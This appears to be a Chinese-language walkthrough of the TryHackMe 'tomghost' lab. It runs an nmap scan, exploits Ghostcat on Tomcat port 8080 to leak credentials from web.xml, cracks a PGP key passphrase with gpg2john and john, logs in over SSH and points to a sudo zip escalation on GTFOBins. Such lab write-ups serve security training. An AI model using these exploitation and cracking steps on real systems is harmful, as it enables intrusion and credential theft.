【THM】tomghost-Practice

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/tomghost

Difficulty: Easy

1
nmap -p- -sC -sV -T4 10.10.175.81

image-20231129091035497

可以看到啊8080端口

image-20231129091148835

网上搜索到相关漏洞

https://www.exploit-db.com/exploits/49039

image-20231129093012717

image-20231129093025062

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[*] Running module against 10.10.175.81
Status Code: 200
Accept-Ranges: bytes
ETag: W/"1261-1583902632000"
Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
Content-Type: application/xml
Content-Length: 1261
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">

<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>

</web-app>

[+] 10.10.175.81:8080 - /root/.msf4/loot/20231128202959_default_10.10.175.81_WEBINFweb.xml_390419.txt
[*] Auxiliary module execution completed

可以看到密码

skyfuck:8730281lkjlkjdqlksalks

image-20231129093942165

但是还有这两个文件

image-20231129094722023

为了下载这两个文件,我用scp

1
scp skyfuck@10.10.175.81:/home/skyfuck/* .

首先我们将使用“gpg2john”将密钥转换为哈希值

1
gpg2john tryhackme.asc > hash
1
2
3
┌──(root㉿kali)-[~]
└─# cat hash
tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f5608760be*3*254*2*9*16*0c99d5dae8216f2155ba2abfcc71f818*65536*c8f277d2faf97480:::tryhackme <stuxnet@tryhackme.com>::tryhackme.asc
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

image-20231129100345567

alexandru

首先需要导入密码

1
gpg --import tryhackme.asc 

image-20231129100633772

1
gpg --decrypt credential.pgp

image-20231129100711419

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

接下来就好办了

1
ssh merlin@10.10.175.81
1
sudo -l

image-20231129101030510

https://gtfobins.github.io/gtfobins/zip/

image-20231129101141649

image-20231129101134313